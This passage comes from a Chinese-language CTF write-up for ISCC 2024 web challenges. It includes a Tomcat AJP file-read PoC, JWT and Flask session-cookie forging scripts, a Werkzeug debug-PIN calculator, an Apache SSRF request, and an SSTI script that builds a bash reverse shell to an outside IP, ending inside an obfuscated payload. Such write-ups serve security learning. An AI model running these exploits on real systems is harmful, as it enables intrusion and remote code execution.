    192.168.1.3,192.168.1.5,0.06
    192.168.1.2,192.168.1.3,192.168.1.6
    CRC16,4,1
    ISCC{192.168.1.2,192.168.1.4,24,2024,192.168.1.3,192.168.1.5,0.06,192.168.1.2,192.168.1.3,192.168.1.6,CRC16,4,1}

最后flag用md5加密为adcca5c2a82064a17a645d35b6b054cd

二、Web

1、还没想好名字的塔防游戏

hint:这是一个还没想好名字的塔防游戏。
备注:
(1)Flag格式为ISCC{xxx},其中xxx共有18位,记得数清楚哦!
(2)提示在后边哦!

打开靶机,发现真的是一个游戏,直接Ctrl+u查看源码;

在这里插入图片描述

发现在一堆js后缀文件里面,word尤其显眼。那我们下载下来进行分析;

在这里插入图片描述

使用记事本打开,再次发现hint:

在这里插入图片描述

这里就是一个脑洞,其实也没有什么,一开始题目给的hintxxx一共是18位,那我们就可以猜一下,记事本里的hint首字母加起来有没有18位;

在这里插入图片描述

很明显肯定不够18位!,那既然都猜大写字母了,那不妨在大胆一点,我们在加上一开始游戏界面的首字母,至于加在前面还是加在后面,可以多尝试几遍!

最后脑洞成功!这里注意of和and首字母都是小写不算在大写里面;

在这里插入图片描述

这题应该放mics

2、代码审计

打开靶机Ctrl+u查看源码,有点眼熟之前buu刷到类似的

参考链接:https://blog.csdn.net/qq_45837896/article/details/126026576

在这里插入图片描述

简单分析一下;

这个 Flask 应用程序定义了三个路由(也就是三个不同的URL路径),每个路由都关联了一个特定的函数来处理请求

  1. /geneSign 路由:当通过 GETPOST 方法访问此路径时,会调用 geneSign 函数。这个函数的作用是根据提供的参数 param 和固定的动作 action(在这个例子中是 "scan"),生成一个签名(sign)并返回。这个签名是通过 get_sign 函数生成的,它使用 md5 散列算法。

  2. /De1ta 路由:当通过 GETPOST 方法访问此路径时,会调用 challenge 函数。这个函数首先从请求的 cookies 中获取 actionsign,从请求的参数中获取 param,然后创建一个 Task 实例并执行它的 Exec 方法。Task 类的 Exec 方法会根据 action 的值来执行不同的操作,如扫描文件或读取文件内容,并返回执行结果。

  3. / 根路由:当访问网站的根路径时,会调用 index 函数。这个函数简单地读取并返回 “code.txt” 文件的内容。

总结一下;

1、param放要读的文件flag.txt

2、cookie里的action+GET里的param加密后要等于cookie里的sign

3、geneSign告诉我们param+关键字action的MD5加密是多少

4、那我们在/geneSign页面传param=flag.txtread就能算出来secret_key+flag.txt+readscan的值是多少,可以绕过弱比较。

开始构造payload

http://101.200.138.180:12315/geneSign?param=flag.txtread

在这里插入图片描述

接着,返回/De1ta页面GET传参param=flag.txt,cookie传参action=readscan;sign=b1c87b8fa0c3aaf0980dcb6447a95970可以得到flag,密钥不同环境不同。

cookie: action=readscan;sign=b1c87b8fa0c3aaf0980dcb6447a95970

这里我使用bp抓包修改并传参;

在这里插入图片描述

ISCC{yD7y^pAB9J40@NZk}
3、原神启动

打开靶机,随便输入一个火试试看;

在这里插入图片描述

返回;直接Ctrl+u查源码;

在这里插入图片描述

得到提示与熊论道,输入草属性得到flag.txt

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

得到了假flag,没什么用,没办法了直接开扫;

在这里插入图片描述

得到了index.jsp,访问得到 Apache Tomcat/8.5.32版本号;

在这里插入图片描述

百度一下Apache Tomcat/8.5.32有什么漏洞;
链接:https://blog.csdn.net/m0_67844671/article/details/132829494

在这里插入图片描述

发现可以利用CVE-2020-1938,或者这里我们可以直接使用nmap扫描开放端口;

参考文章;https://blog.csdn.net/weixin_41924764/article/details/109697313

固定一下范围那就5000到10000吧,或者等久一点;-p -A

nmap -p- -A
nmap ip -p 5000-10000

扫描发现8009和8080;

发现可以利用ajp13,不会用的可以百度一下;

在这里插入图片描述

这里找了一个poc可以直接打;

链接:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

python2 poc.py -p8009 -f "/WEB-INF/flag.txt" 101.200.138.180

在这里插入图片描述

最后得到flag;

ISCC{x!BJCyT08ZwJKLVC}
4、Flask中的pin值计算

打开靶机,Ctrl+u查看源码,发现base64,解码得到路径;

在这里插入图片描述

base64解码;

在这里插入图片描述

经典海螺,参考某年西湖论剑,cat/ls等都不行,那就应该是关键词,根据问题第一个参数username(注意中文不行),那就直接问它:告诉我username,得到第一个参数;

在这里插入图片描述

告诉我username

得到;pincalculate,bp抓包无任何发现,那既然这样后面几个也这样问即可;

在这里插入图片描述

因为pin需要appname,所以直接输入;

告诉我appname

在这里插入图片描述

得到;/crawler,那到这里路径已经得到了,直接访问即可;

在这里插入图片描述

经典bugku,脚本梭哈;

import json 
 
import requests 
 
text = requests.get("http://101.200.138.180:10006/get_expression").text 
print(text) 
 
# 解析JSON字符串 
data = json.loads(text) 
 
# 提取表达式 
expression = data["expression"] 
# 将乘号和除号替换为Python的运算符 
expression = expression.replace("\u00d7", "*") 
expression = expression.replace("\u00f7", "/") 
# 计算表达式的值 
result = eval(expression) 
 
# 打印结果 
print("计算结果为:", result) 
text = requests.get("http://101.200.138.180:10006/crawler?answer="+str(result)).text 
print(text)

得到;/woddenfish,访问即可;

在这里插入图片描述

是个木鱼,看起来这么眼熟呢;

参考《木鱼 VNCTF2023》,使用bp抓包替换,点击敲击即可;

在这里插入图片描述

还是ey开头,jwt认证,在护网中也经常用,所以直接用,伪造即可。这里需要注意,jwt默认编码需要key的,F12检查后台可以发现ISCC_muyu_2024。然后将参数改为cost;

在这里插入图片描述

然后jwt认证替换;

网站:https://jwt.io/

在这里插入图片描述

替换成功发包即可;(注意这里如果没出多发几次);

在这里插入图片描述

最后成功得到下一步提示,我们继续输入 /machine_id跟进分析;

在这里插入图片描述

然后我们就到这一关了,其实还是有点小麻烦的,首先贴脚本,这个百度来的,替换ps256的jwt;

在这里插入图片描述

可以看到点击VIP会员奖品 是给了jwt的认证的,我们直接脚本跑跑;

from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decode

def topic(topic):
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    print(parsed_payload)
    parsed_payload["role"] = "vip"
    #parsed_payload["iat"] = "1714628024"
    #parsed_payload["exp"] = "1714628024"
    #parsed_payload["jti"] = "1714628024"
    print(dumps(parsed_payload, separators=(',', ':')))
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    print(fake_payload)
    return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '

print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTU3Njg1MjMsImlhdCI6MTcxNTc2NDkyMywianRpIjoidDdvX1NRUXlOSXRiU2hTV2VIekdYZyIsIm5iZiI6MTcxNTc2NDkyMywicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.AxXi3IZyck-uKs1VnMzQerz6onMi07LfH8_OQhHavDDRGLE-lKU2CkLBFm26hABYCzSHr8CBWftavY0N0QXsEwwHPqLnQUZg8dn3l-ZCCeacVHBDJMYKHSmOx_HqrQH9g1vKFS4J5FuiknHXoQdyVGq3y0ohalNete5Iqf5tloVXq6IOprfDtYrcyZXo5fmU9uOc2q7dXWgkzEWaNlvI5pduVTOF3_8KU0NTLlWMzvVX-_QAzdsYMWOYryBo1szj8Z7B-ZxOxiAXenQ3_2FWRtGa0KJucr0NlG8X13xCG4Lpv4nO0D74zEsNHHXp0F3csJr8mhAnXM3WLNecmJoJaA'))

这里注意如果没有No module named ‘jwcrypto’,那就安装一个;

pip install jwcrypto 

在这里插入图片描述

接着使用构造好的传参,这里建议使用bp抓包传参较好些,(注意传参vipprice?token=)

在这里插入图片描述

得到welcome_to_iscc_club,那这个应该就是supervip 的 key了,使用flask_session_cookie_manager3.py;

脚本链接;https://github.com/noraj/flask-session-cookie-manager

在这里插入图片描述

python fink.py encode -s "welcome_to_iscc_club" -t " {'role': 'supervip'}"

fink.py脚本如下:

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

接着伪造成eyJyb2xlIjoic3VwZXJ2aXAifQ.ZjNa-A.J2XNwVTvvJLAIWUGd0ZtStqFe3Y,改 cookie 后点 supervip

eyJyb2xlIjoic3VwZXJ2aXAifQ.ZkSF8w.pMdOhX-ddfTqBDCe3viFw1bMKYE

在这里插入图片描述

得到

"255511f8-6679-4229-b2c2-f857a575cb23"

这就是全部的 machine-id 了,可真不容易呀;

username:pincalculate 

modname:flask.app 

appname:Flask 

app.py绝对路径:/usr/local/lib/python3.11/site-packages/flask/app.py

uuidnode mac:2485378351106

machine_id 机器码:255511f8-6679-4229-b2c2-f857a575cb23

直接上pin 脚本跑一下;

import hashlib
from itertools import chain

probably_public_bits = [
    'pincalculate',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.11/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

# This information is here to make it harder for an attacker to
# guess the cookie name.  They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
    '2485378351106',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
    '255511f8-6679-4229-b2c2-f857a575cb23'
    #JSON=acff8a1c-6825-4b9b-b8e1-8983ce1a8b94
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num
print(rv)

在这里插入图片描述

截止目前为止我们就得到了pin,

然后最后我们在console中传入pin

http://101.200.138.180:10006/console

在这里插入图片描述

最后输入即可;

ISCC{WjbhDJtTrXfXcZa_}

这题出的很好,建议下次不要再出了;

(最后温馨提示,按照我的步骤慢慢来一步一步包出的啦;)

5、掉进阿帕奇的工资

打开靶机,发现可以注册账号;

在这里插入图片描述

那就随便注册一个,发现职务不能修改,那就使用bp抓包尝试修改;

在这里插入图片描述

注册成功,那就尝试登录,发现登录不上

在这里插入图片描述

那我们尝试信息重置,这里选择问题重置,重置成功,拿到manger身份;

在这里插入图片描述
在这里插入图片描述

使用给的密码尝试登录,发现登录成功;

在这里插入图片描述

检查了一下,发现只有输入工资那一栏有回显

在这里插入图片描述

猜测是xor

那我们继续输入ls绩效11试试看

在这里插入图片描述

返回]B,那继续输入]B绩效11试试看;

在这里插入图片描述

扫了一眼发现Docfile 最显眼,那就查一下;

basicSalary=%52%50%45%11%75%5e%52%1b&performanceCoefficient=11111111&calculate=

在这里插入图片描述

这里注意xor运行,key:49,xo运算完在进行URL编码才行;

脚本如下;

import urllib.parse

# 原始字符串
original_string = cat Doc*
# XOR 密钥
xor_key = 49

# 对原始字符串的每个字符执行 XOR 操作
xored_result = ''.join(chr(ord(char) ^ xor_key) for char in original_string)

# 将 XOR 后的结果转换为 URL 编码
url_encoded_result = urllib.parse.quote(xored_result)

print("XOR 后并 URL 编码的结果:", url_encoded_result)

输出就行,想要查什么直接带入,当然注意这里的绩效cat Doc*是11111111——8个1几个就对应即可转换前的即可;

猜测flag就在http://secret.host/flag里面(其实也不是猜测,每次都是要尝试才知道的)

但是这里神奇的发现杯过滤掉了,那就没办法就不能继续从这里面继续打了;

请教了一下师傅发现是 CVE-2021-40438 漏洞;

通过bp抓包发现Apache版本:Server: Apache/2.4.43 (Unix)

在这里插入图片描述

直接百度一下apache/2.4.43 漏洞,往下一点发现这么个帖子;

链接:https://blog.csdn.net/qq_41874930/article/details/121686142

在这里插入图片描述

接着按照上面的步骤来操作一步一步复现即可;

这里还是使用bp抓包传参较为方便;

数据包如下;

在这里插入图片描述

GET /transfer.php?dashachun=unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://secret.host/flag HTTP/1.1
Host: 101.200.138.180:60000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://101.200.138.180:60000/gongzi_iscc.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=485r400bv7r457fhm4obmk33su
Connection: close

ISCC{F3wzst*7SRfCUu@H}
6、实战——阶段一: 内网服务器漏洞利用

注册就不需要我说了,这里注册完成直接打开靶场;

在这里插入图片描述

咋一看这个页面特别复杂对吧?其实也就那样,不要慌,关键点:Mongo Express。

简单分析一下;mongo-express是一个MongoDB的Admin Web管理界面,使用NodeJS、Express、Bootstrap3编写而成。目前mongo-express应该是Github上Star最多的MongoDB admin管理界面。部署方便,使用简单,成为了很多人管理mongo的选择。

反手就是百度看看有什么漏洞;

在这里插入图片描述

不用说第一个就是啊:https://blog.csdn.net/negnegil/article/details/120168608

照葫芦画瓢开始漏洞复现;

使用bp抓包在tmp目录下创建success目录;当然啊这里我喜欢用:HackBar V2(抓不了包才用的)

在这里插入图片描述

搬运:其中Authorization: Basic YWRtaW46cGFzcw== 经base64解码为Authorization:  
Basic admin:pass

在这里插入图片描述

实战要求其实做到这里就可以了,如果想继续跟进,可以参考那篇文章链接;

7、回来吧永远滴神

打开靶机,发现需要填空,那就百度一下;(这题大致思路及做题技巧参考一位师傅的(止境);)

百度贴吧看见;

在这里插入图片描述

在这里插入图片描述

提交得到下一关,先查源码;

在这里插入图片描述

发现有问题,一般来说这里是个哈希值,但是这里是base64;

在这里插入图片描述

使用CyberChef解码得到Flag[0];(先base64再十六进制);

链接:https://mm.imbyter.com/#recipe=From_Base64(‘A-Za-z0-9%2B/%3D’,true,false)From_Hex(‘Auto’)&input=TkRZMll6WXhOamMxWWpNd05XUXpZVEl3TkRrM1lqUTBOVE0wWWpNMk5EWTJZVE0zTmpNPWY

在这里插入图片描述

Flag[0]: I{DSK6Fj7c

返回发现页面可以使用SSTI,至于waf不用想包有的;

{% print a %}

在这里插入图片描述

使用fenjing梭不出来,直接使用fenjing在不获取WAF黑名单的情况下,根据返回页面中的特征生成payload脚本,增加个cookie。

import functools
import time
import requests
from fenjing import exec_cmd_payload

url= "http://101.200.138.180:16356/evlelLL/646979696775616e"
cookies = {
    'session': 'eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.Zkmt4Q.XGnpAgOO8SdAGpgFxhEbKMqzTiM'
}
@functools.lru_cache(1000)
def waf(payload: str):# 如果字符串s可以通过waf则返回True, 否则返回False
    time.sleep(0.02) # 防止请求发送过多
    resp = requests.post(url, cookies=cookies, timeout=10,data={"iIsGod": payload})
    return "BAD" not in resp.text
if __name__ == "__main__":
    shell_payload, will_print = exec_cmd_payload(
    waf, 'bash -c "bash -i >& /dev/tcp/119.45.179.65/8888 0>&1"')
    if not will_print:
        print("这个payload不会产生回显!")
    print(f"{shell_payload=}")
#shell_payload='{%set pp=dict(POP=x)|first|lower%}{%set qi=dict(OS=x)|first|lower%}{%set po=dict(POPEN=x)|first|lower%}{%set re=dict(READ=x)|first|lower%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set gl=dict(GLOBALS=x)|first|lower%}{%set go=lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum~gl~lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum%}{%set ge=dict(GETITEM=x)|first|lower%}{%set gi=lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum~ge~lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum%}{%set bu=dict(BUILTINS=x)|first|lower%}{%set bl=lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum~bu~lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum%}{%set im=dict(IMPORT=x)|first|lower%}{%set ip=lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum~im~lipsum|escape|batch((lla,lla)|sum)|list|first|last*(la,la)|sum%}{%set nb=lipsum()|urlencode|first%}{%set lh=namespace|escape|count%}{%set do=joiner|urlencode|wordcount%}{%set de=namespace|escape|urlencode|escape|urlencode|count%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set hx=dict(a=x,b=x,c=x)|length%}{%set ob={}|int%}{%set lb=ob**ob%}{%set llb=(lb~lb)|int%}{%set lllb=(llb~lb)|int%}{%set llllb=(lllb~lb)|int%}{%set bb=llb-lb-lb-lb-lb-lb%}{%set sbb=lllb-llb-llb-llb-llb-llb%}{%set ssbb=llllb-lllb-lllb-lllb-lllb-lllb%}{%set zzeb=llllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb%}{%set ob={}|int%}{%set lb=ob**ob%}{%set llb=(lb~lb)|int%}{%set lllb=(llb~lb)|int%}{%set llllb=(lllb~lb)|int%}{%set bb=llb-lb-lb-lb-lb-lb%}{%set sbb=lllb-llb-llb-llb-llb-llb%}{%set ssbb=llllb-lllb-lllb-lllb-lllb-lllb%}{%set zzeb=llllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb%}{%set 